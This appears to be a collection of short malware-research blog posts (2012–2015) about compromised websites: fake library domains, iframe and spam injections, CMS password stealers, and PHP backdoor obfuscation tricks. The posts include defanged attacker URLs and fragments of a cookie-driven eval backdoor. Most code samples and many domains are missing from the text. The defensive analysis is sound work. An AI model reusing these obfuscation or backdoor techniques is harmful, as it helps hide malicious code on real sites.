Tag-cloud-generator com script redirects to parked domains

Published: 2015-08-31  by  Denis Sinegubko

Today we found a few websites that loaded strange code from tag-cloud-generator[.]com.

Sites tried load several image and font files from this site, but they all returned 404 Not Found. The only live file that they loaded was hxxp://www.tag-cloud-generator[.]com/js/fx2.js or it's pseudo-localized copies like hxxp://www.tag-cloud-generator[.]com/NL/js/fx2.js, hxxp://www.tag-cloud-generator[.]com/EN/js/fx2.js, hxxp://www.tag-cloud-generator[.]com/FR/js/fx2.js, etc.

The fx2.js files has an encrypted script that loads (randomly) one of the following scripts:

hxxp://www.tag-cLoud-generator[.]com/b01.js hxxp://www.tag-cLoud-generator[.]com/b02.js hxxp://www.tag-cLoud-generator[.]com/b03.js

And those scripts in turn, redirect visitors to one of the following parked domains with ads:


using code like this

All these domains, including tag-cloud-generator[.]com are registered in China. If you ever used tag-cloud-generator, make sure to remove it from your site. We will share more information if we find anything new.

Fake Social Share WordPress Plugin Creates Pharma Spam Doorways

Published: 2015-08-26  by  Denis Sinegubko

We found infected sites where malware created a fake WordPress plugin that generated pharma spam doorways.

Path: wp-content/plugins/social-share/wp-social-share.php

This file creates wp-content/plugins/social-share/share.php that calls itself WP Social Include File. It downloads doorway generator from hxxp://api-linux . net/json/json_01.txt, writes it into wp-content/mu-plugins/mu-plugin.png and then includes this file at the bottom of wp-includes/load.php

The doorway generator uses the following URLs:

Some of the above URLs should only be accessed using a special User Agent

If you are a hosting provider, we recommend blocking HTTP requests to these external sites, to stop the spam doorways from being distributed. We will share more details as we learn more about it.

RevSlider MalFrames - SoakSoak

Published: 2014-12-28  by  Daniel Cid

The RevSlider SoakSoak malware campaign started with the domain (hence the name). However, since the last 2 weeks, it has mutated and used different domains as the initial malware intermediary.

This is the full list so far:

  1. First one in the list. We identified more than 100,000 sites redirecting to it.
  2. Started just after soaksoak, leveraging the /collect.js redirection. Almost 10,000 were blacklisted and compromised with it.
  4. Second biggest campaign after soaksoak. More than 50,000 sites compromised and still going.
  6. Current one active. Also leverages the /collect.js redirection and has compromised more than 11,000 different sites.

We will keep updating this list as the domains change and the attacks mutate.

Chinese Doorway Spam - P2

Published: 2014-10-21  by  Denis Sinegubko

We are seeing an increasing number of hacked sited with Chinese doorways promoting various fake merchandises (from Louis Vuitton handbags to NFL jerseys and Canada goose jackets).

Those doorways target both Western web searches and the Chinese. Here's how they make sure the doorway correctly preserves search queries in Chinese (converting from UTF-8 to gb2312) when they work with Google search referrer string:

Since Google uses "ie=ut-8" by default for most languages, queries using non-ASCII and non-Chinese Simplified characters will be garbled. Apparently the they are only interested in English and Chinese queries.

Chinese Doorway Spam

Published: 2014-05-27  by  Denis Sinegubko

One of the common tactics used by spammers and black hat "SEO" is to use Doorway pages for their spam content. These pages get indexed by search engines and when visited by a real user (not a bot), redirect them to a different URL that they want to promote.

Most times, this is done using various automatic redirects. The redirect mechanism can be quite simple or very sophisticated, client-side (e.g. JavaScript) or server-side (PHP or/and .htaccess). What all of them have in common is they need to properly tell unneeded traffic from target traffic. To do it, the redirect scripts normally check a referrer, visitor's IP and User-Agent and then act accordingly.

However, these Chinese doorways for fake popular and luxury goods stores use a much simpler approach - they check visitors' time zone.

All the doorways include the same external JavaScript with the following code:

Which when deobfuscated looks like this:

This code checks if a visitor comes not from China (timezone is not GMT +8) and then redirects eligible visitors to the beneficiary (spam) site. Visitors from China and some neighboring countries (unneeded traffic) and bots without JavaScript stay on those gibberish keyword-staffed doorways pages.

Double hidden style - Hiding spam

Published: 2014-04-17  by  Denis Sinegubko

We see many tricks that hackers use to make search engine bots think that the injected spam is not hidden. One of the common approaches is to place a spam block inside a "div" with some particular "id" or "class" and then add a JavaScript call to make that div invisible.

And the newest form of the "unlocked iphone" spam injection, tried something new (that also made us smile). It uses elementary school level math to make spammy a "div" id and the id in JavaScript to look different.

Here's the typical code:

The idea is simple: malware generates a random number (e.g. n) and then doubles that number and uses the result as the spam div id. And in the JavaScript code, they use the same multiplication operation verbatim as the getElementById(n*2) function parameter, which works because JavaScript implicitly converts numbers to strings.

Fake botsvsbrowsers domain

Published: 2014-03-07  by  Daniel Cid

The domain is quite popular and used for comparing user agents (browsers) and seeing if a specific request is from a valid user or a bot.

And piggy backing on their popularity, the bad guys created a domain (.biz versus .com) to be used as a command and control server on spam SEO campaigns.

This is the code we are seeing on compromised sites:

Which basically contacts on every page load, giving the client IP address, and URL and it decides what to inject to that user. Most of the time we are seeing just plain SPAM, but they are probably serving other malicious code as well.

So if you see any content being loaded from botsvsbrowsers.BIZ (or the IP address, you know it is malicious.

One way of hidding an iframe

Published: 2014-01-16  by  Daniel Cid

There are multiple ways to inject an iframe on a web site, and every day we found a new evasion technique to make it harder to detect it. This is a new one found by Fio:

It uses many encondings to just load this iframe:

Which redirects the user visitng a compromised site to a porn page.

PHP str_replace to hide malware

Published: 2014-01-03  by  Ante Kresic

We found another interesting piece of PHP-based malware on a client site a few days ago:

Can you decode and see what it is doing? ..

This piece of code tries to obfuscate all the functions that could be flagged by a scanner using a benign php function called str_replace. This function replaces all instances of a string with a replacement in the subject. So, for example, the next line:

----- $ts = str_replace("b","","bsbtr_brbepblabcbe"); -----

Replaces all instances of character 'b' with nothing. So from bsbtr_brbepblabcbe we get str_replace. Using the same technique, we have some more functions:

----- $dzy = $ts("er", "", "erberaersereer6er4er_dereercerodere"); //base64_decode $mc = $ts("y","","ycyryeyaytye_yfyuynctyiyoyn"); //create_function -----

All this for creating a function and running it in this line:

----- $tha = $mc('', $dzy($ts("nd", "", $exg.$sjb.$iyo.$fy))); $tha(); -----

Function code is contained in the next expression:

----- $dzy($ts("nd", "", $exg.$sjb.$iyo.$fy)); -----

And the final code is:

What it does? It uses some simple tricks to edit the contents of the cookie, decode it from base64 and eval (execute) that malicious code.

How to eval() without eval() in PHP

Published: 2013-12-11  by  Peter Gramantik

According to our daily malware analysis experience, we've noticed that the bad guys are using obfuscation more and more to hide what they are doing. Take for example this piece of code we found injected on a website:

No sign of any "eval()" and no sign of "preg_replace()" with the eval switch like in the majority of malware files.

When I looked at it for the first time, I thought that that’s just some corrupted/incomplete malware which can’t work. But one of the prerequisites for my job is "being curious" - And I am, so I checked it more deeply and... the result was interesting!

First, I decided to beautify the code to see it more clearly…

Those commented lines at the bottom are my own – they helped me to understand what’s under each variable and how it works.. As you can see, it has a getenv, preg_replace, base64_decode and when you put it all together, you get the readable code:

And that’s it – yes, there actually ARE eval() and even base64_decode() functions, but hidden behind variables. Otherwise, it's really just malicious backdoor component which reads some custom environment variable where the actual payload should be stored. Curious about other ways of running the code in PHP without using eval() at all?

There are.

Most common is preg_replace with that “/e” switch (directly evaluates the expression after replacing), one of less common, but very interesting is the PHP assert() function. As mentioned in the PHP official documentation: If the assertion is given as a string it will be evaluated as PHP code by assert(). And there are others surprises in PHP...

WordPress password stealer

Published: 2013-11-27  by  Peter Gramantik

Following Fio's recent post on the Joomla password stealer, here's another beautiful example of password stealer. This time from WordPress environment.

It's easy to understand, but what's interesting - it looks like legitimate code so you can easily overlook it. It stores its data in "png" files within ./wp-includes/images/ path and sends them to a non-obfuscated email address.

This is the bad part that was injected on the file user.php on wp-admin:

Anyway, keep your eyes open, guys :)

Joomla password stealer

Published: 2013-11-21  by  Fioravante Souza

As we know, one of the main payloads of a successful attack is to maintain access to the compromised server for as long as possible. Today we found this simple but effective password stealer for Joomla.

It was injected in /administrator/components/com_login/models/login.php, and the code just captures the $credentials array, username and password to be more specific, and writes to a login.txt file, which was accessible through the internet.

To make things even easier for the attacker, it writes the date and time of the capture on Chicago Timezone (so is the attacker in Chicago?).

PHP://input Backdoor

Published: 2013-11-08  by  Denis Sinegubko

Just came across this backdoor (decoded):

It looks like a normal backdoor, but the interesting part and the one I didn't understand completely was this one:

What is it doing?

Why is it reading from php://input? From the PHP manual it explains:

That explains. blacklisted by Google

Published: 2013-10-24  by  Daniel B. Cid

We woke up this morning to many reports and people asking why the site is being blacklisted. We did not get a chance to analyze it while it was compromised, but it seems that one of their javascript files ( was modified to inject a malicious iframe from "".

That's the supposed bad code:

It seems the PHP team fixed it already and requested Google to clear it. If anyone has more info, we would love to hear it.

Do you still look for base64_decode?

Published: 2013-10-09  by  Daniel B. Cid

A common keyword that people use to find hidden injections on web sites is "base64_decode". You often see injections that look like "eval ( base64_decode" or eval ( gzinflate ( base64_decode" being used by the attackers.

So most web security tools have some signatures to look for it (specially on WordPress).

Well, the attackers do know about it as well and we are starting to see some interesting variations for it. For example, instead of injecting base64_decode, they are injecting as a variable:

And instead of calling out base64_decode directly, they are using base + 32*2 + decode. A simple trick that allows then to bypass many security filters.

Fake piwik domain - piwik-stat

Published: 2013-07-14  by  Daniel B. Cid

Piwik is an open source web analytics software that is used by many web masters. And the bad guys are using their popularity to try to make their malware injection harder to detect. They do that by injecting malicious javascript calls from a domain that looks like came from the Piwik project: This is what is being injected:

It is not an uncommon tactic (we see if often with jquery), but as a web master if you see anything from pwiki-stat or similar variations, it is likely fake. The official (and trusted one) is

New injection

Published: 2013-07-08  by  Fioravante Souza

Today we found a malicious iframe that was being loaded from (another fake jquery site). It consisted of the following code hidden inside one of the plugins:

It forces the site to contact on every page load and display whatever content is provides. It is currently displaying the following malicious payload (triggered by sitecheck):

Which creates another iframe based on the payload hosted at: httx://

Which also decodes to the iframe loading script:

It seems that fake jquery sites are becoming more and more popular and only and should be trusted.

Continuing injections from *

Published: 2013-07-03  by  Daniel B. Cid

I don't think we have logged about it lately, but an old infection (that started early this year) is still going strong. The result is this code being injected to the site when visited by certain browsers:

And the hidden code that generates it is tricky to find and generlly hidden inside one of the theme files or wp-includes (on WordPress sites). It looks like this:

All that to the end goal: Inject an iframe from * (and other free domains) that will redirect the browser of the victim to Fake AV.

Backdoor Injector code

Published: 2013-05-16  by  Daniel B. Cid

A backdoor injector code we found on a compromised site:

It looks for a writable directly either inside wp-includes, wp-content or inside uploads to inject a backdoor.

Large scale TDS redirections

Published: 2013-02-15  by  Daniel B. Cid

Lots of compromised sites redirecting to TDS:

And that's just a small sample. We have detected just in February over 500 sites compromised exactly like that.

ChangeIP (dynamic DNS) malware

Published: 2012-12-10  by  Daniel B. Cid

If you look at the top domains distributing malware for the last days (and months), what do you see in common?

Most of them are using a (dynamic DNS) sub domain as the first level of injection. Just check,,,, etc, etc. They are all part of: Just in the last 60 days, we identified more than 15,000 different sub domains from them being used to distribute malware.

Don't get us wrong, Dynamic DNS is a very useful service, but we would love if they would implement more serious filtering/blacklisting and some type of captcha to prevent their service from being abused by criminals.

However, in the current state, we can only recommend against using their service to avoid being thrown in the mix with the thousands of malicious domains that they host.

*If you look past 6 months ago, was the main domain distributing malware, but since it was shut down, the attackers have migrated to Hopefully they will do something about it.

More Fake jQuery sites -

Published: 2012-11-22  by  Daniel B. Cid

We keep seeing fake jQuery sites popping up and being used to distribute malware. One was, other was and the new one is (

And this new one seems to be affecting many web sites in the last few days. All of them have the following on their header or index.php files:

Which redirects any visitor to the web site to where it is then sent to other random spammy domains (seems like a TDS is in place).

Update:We are also seeing some sites with this javascript file being included:, which just redirects back to via the same in javascript.

*Note that the domain was just registered (20-nov-2012), so it is not being flagged anywhere.
**The official jquery sites are or Other variations are likely fake. seems to be gone

Published: 2012-11-20  by  Daniel B. Cid

It seems that the (sub TLD) that used to be mass used by spammers and malware is now gone. Their registration page is offline:

And we hope it stays that way.

Iframes generator:

Published: 2012-10-25  by  Daniel B. Cid

If your site is loading hidden iframes from *, look for a curl or file_get_contents call to When you visit this site, it generates random iframes:

That are displayed on the compromised sites.

Mass infections from

Published: 2012-10-11  by  Daniel B. Cid

We are seeing a large number of sites compromised with an iframe pointing to . Just in the last 3 days, we identified almost 10,000 sites with it:

On all the compromised sites have the iframes similar to this one:

The domain is hosted at, but currently offline (redirecting to Google), so we can't really tell what it is doing. But on previous requests, it was redirecting to a TDS (traffic distribution system) and from there, being sent to multiple spam or malicious domains. Compromised

Published: 2012-10-04  by  Daniel B. Cid

Update 2012/Oct/12: Their site was fixed and is not loading malware anymore.

If you are using any widget/code from, remove it asap from your site. It has been compromised and is serving malicious code. So if you have any widget from there, it will be loaded from your site as well (blackhole exploit kit).


Note only that, but their main site is compromised as well.

Iframes to redkit exploit kit

Published: 2012-09-12  by  Daniel B. Cid

A New batch of compromised sites are being infected with hidden iframes leading to the Redkit exploit kit. A site gets hacked and an iframe similar to this one is added: :

Once that is loaded into the browser, it redirects anyone visiting the site to:

Where it tries to make the browser load some malicious PDFs or Jar files:

And if you are running an outdated version of Java or Adobe PDF, your personal computer would get compromised as well.

Fake jquery site

Published: 2012-09-07  by  Daniel B. Cid

Seeing many sites with a fake jquery links on them from (just registered on 2012/08/05): :

If you use jquery, make sure to link to reliable sources (either or googleapis). This one is redirecting users to

Rebots.php on WordPress

Published: 2012-09-04  by  Daniel B. Cid

We are seeing a new batch of the "rebots.php" infections on WordPress and one thing is intriguing us. On many sites we are analysing, WordPress is updated and no suspicious backdoors or plugins were found. All in order, except for the javascript injected inside the theme.

The only thing in common on them is a single login to wp-admin, followed by a visit to wp-admin/theme-editor.php to modify the theme:

So it seems someone was able to steal the wp-admin password and edit the theme. It was done automatically, since no CSS or .JS files were loaded.

Another intereting issue is that on some of these sites, we didn't identify any brute force attack trying to guess the passwords. Just this single login.

Since we don't know how these passwords got stolen, we recommend people to change their wp-admin passwords asap until we have more info (specially if you have been compromised with the rebots.php injection).

Server-wide iframe injections

Published: 2012-08-14  by  Daniel B. Cid

Dennis (from unmask) posted about some iframe injections that he has been seeing lately: RFI: Server-wide iframe injections.

The post is interesting, so read that first. We are also seeing many variations of this attack, always with the iframes being injected as[randomnumbers].html and redirecting the user to Fake AV. This are some of the URLs we are seeing:

Note that all (or most) of these sites are compromised and being used by the attackers to spread malware "botnet" style. Dennis also questioned how are these sites being hacked.

Initially, all of them were running Plesk (at least I could access it as However, as the infection is growing, I am seeing many sites not using Plesk with this type of malware, so we can't know for sure. We assume it is a mix of attacks (brute force FTP + outdated Plesk + anything they can find).

Fake AV redirections .ru -> .pl

Published: 2012-08-02  by  Daniel B. Cid

We posted yesterday about the Blackmuscats .htaccess redirection that was affecting thousands of web sites.

They are still happening (and growing), but the attackers decided to switch names to "nonalco", "mimosa" and other random keywords for their files:

The redirection is still the same, going from those .ru domains, to additional second level .ru domains and them to a .pl:

So far we have identified more than 17,000 sites with this type of malware. More details as we track them.

Strange Malware from

Published: 2012-07-27  by  Daniel B. Cid

We are seeing thousands of sites compromised with an iframe from

This is the iframe that we detected:

Google has already flagged this domain and found it to be responsible for the infection of more than 1.5k sites:

We can't say for sure how sites got hacked, but we will post more details when we have them. If your site is compromised, our team can clean it for you:

Yahoo Leak

Published: 2012-07-12  by  Daniel B. Cid

You can check if your email is part of the yahoo leak here:

Your know there is a vulnerability in Plesk when..

Published: 2012-07-09  by  Daniel B. Cid

This is a simple way to know when a vulnerability in Plesk (or any other software) is being exploited in the wild:

When the mass scans for it starts. The data is from ISC ( and shows a massive increase in the number of queries for port 8443 (used by Plesk).

Top malware entry stats.php

Published: 2012-07-08  by  Daniel B. Cid

Top malware entry for the day:

It seems to be the stats.php "malware" of the day. Related to our post here: Distributed Malware Network Outbreak Using Stats.php.

We also identified a CC (command and control server) for these infections: More info to come soon.

Strange .htaccess redirections to

Published: 2012-07-02  by  Daniel B. Cid

A few weeks ago we reported the case of a few compromised sites with an .htaccess redirection to Now we are seeing a few sites with the same redirection but to

This is what we are seeing on some hacked sites (.htaccess file):

We have no idea why this hapening. Maybe a bug in the attackers malware injection code, but we can't say for sure. We will post more details when we find out what is going on.

PHP Spam tool (UnixStats Mass MaiLer)

Published: 2012-06-28  by  Daniel B. Cid

While looking at a compromised site, we found an interesting mass mailer in there. The content was encoded using eval/gzinflate and base64_decode:

But when switching the "eval" for "print" we could see the mass mailer hidden and what it was doing:

What I found interesting is that this spam tool stored all the emails in the database and the script supported options to update the email list, change content and many things like that. And every few hours the attackers would access it, update the emails and spam everyone in there.

Flagging as malware

Published: 2012-06-21  by  Daniel B. Cid

Yesterday we listed as being used for .htaccess conditional redirections on hacked sites. Google does no evil, so what happened?

We identified the source of the malware, which looks for certain user agents and IP addresses and redirects to if it comes from them or to the real malware if not.

This is the code:

So, if you are not familiar with PHP, what this code is doing is checking for the user agent of some bots (Googlebot, MSN, Bing, etc) and for a few IP addresses for bots and anti virus companies (Trend, Bitdefender, etc). If the requests are coming from them, they ignore the connection and redirect to

That's why we were seeing and listed it on our malware dump (already fixed).

For all the other users (the victims), the malware was contacting to get the URL to redirect (generally in the .tk domain). Any questions, let us know.

Strange .htaccess redirections to

Published: 2012-06-18  by  Daniel B. Cid

We are seeing something very strange on a few compromised sites lately. Instead of doing .htaccess redirections to malware sites, the attackers added the "malware" to redirect users to

This is what we are seeing on some hacked sites (.htaccess file):

If you are not familiar with the .htaccess syntax, it is basically redirecting any users coming from search engines (Google, Bing, Yahoo and even Twitter/Facebook) to instead of going to the real site.

Anyone have ideas? It seems like a bug in the attackers malware injection code, but we can't say for sure. And no, we do not think Microsoft is behind those (conspiracy theory). :)

Malware from

Published: 2012-06-11  by  Daniel B. Cid

We are seeing many sites compromised with malware from All sites had the following added to the .htaccess file:

So far we detected more than 500 sites with this type of redirection in the last few days.

Malware from

Published: 2012-06-07  by  Daniel B. Cid

Seeing many sites compromised with malware from This is the js inserted on the hacked pages:

Malicious redirections to exploit kits

Published: 2012-06-06  by  Daniel B. Cid

We talk a lot about sites that get hacked to redirect their users to malicious exploit kits (blackhole, etc). Very often we see encoded javascript and our users ask what they do... Those are some of the URLs we saw just this last week being used by the attackers.

Encoded javascript

Published: 2012-06-05  by  Daniel B. Cid

Interesting redirection from

Which redirects to

Blackhole exploit kits

Published: 2012-06-04  by  Daniel B. Cid

Seeing some variations on how sites are getting hacked to link to the blackhole exploit kit. This is the type of encoded javascript we are seeing inserted into sites now:

Which are pointing to multiple URLs on the and TLD ( ex:,,, etc). More details to come.

List of IP addresses scanning for vulnerable timthumb.

Published: 2012-05-31  by  Daniel B. Cid

A few days ago, we posted a list of domains hosting webshells for timthumb related attacks. We identified more than 420 different URLs hosting those backdoors.

What is interesting is that during the same period, we identified almost 1,000 ip addresses scanning sites for vulnerable thimthumb scripts on WordPress themes and plugins. Those are all the ips and the number of hits we detected:

And we will keep monitoring them.

List of domains hosting webshells for Timthumb attacks

Published: 2012-05-28  by  Daniel B. Cid

We have been tracking timthumb.php related attacks for a little while. And they are still at full force. Just for the month of May, tohse are the domains we identified hosting backdoors that were used by the attackers (420 different urls).

And most of them are still live. If you download them you will see many backdoor variations:

And we will keep monitoring them.

Iframes from

Published: 2012-05-25  by  Daniel B. Cid

Seeing many sites compromised with an iframe pointing to, mostly on outdated WordPress. That domain is currently redirecting to and then to fake AV.

Backdoor: Contact1

Published: 2012-05-24  by  Daniel B. Cid

Magno (from our support team ) found this pretty backdoor on a compromised site. As we keep saying, just searching for evals + base64_decode wouldn't cut anymore.

*If you enjoy decoding backdoors and are looking for a job, please try this one and send the results to :)
Yes, that's all for the backdoor.

Backdoor: preg_replace

Published: 2012-05-21  by  Daniel B. Cid

Another interesting backdoor:

You may not be aware, but the preg_replace function with the "e" parameter, allows full code execution (eval). When you transform the hex chars, you get "eval ( gzinflate ( base64_decode ( " which runs all the code in the long block of characters inside the preg_replace.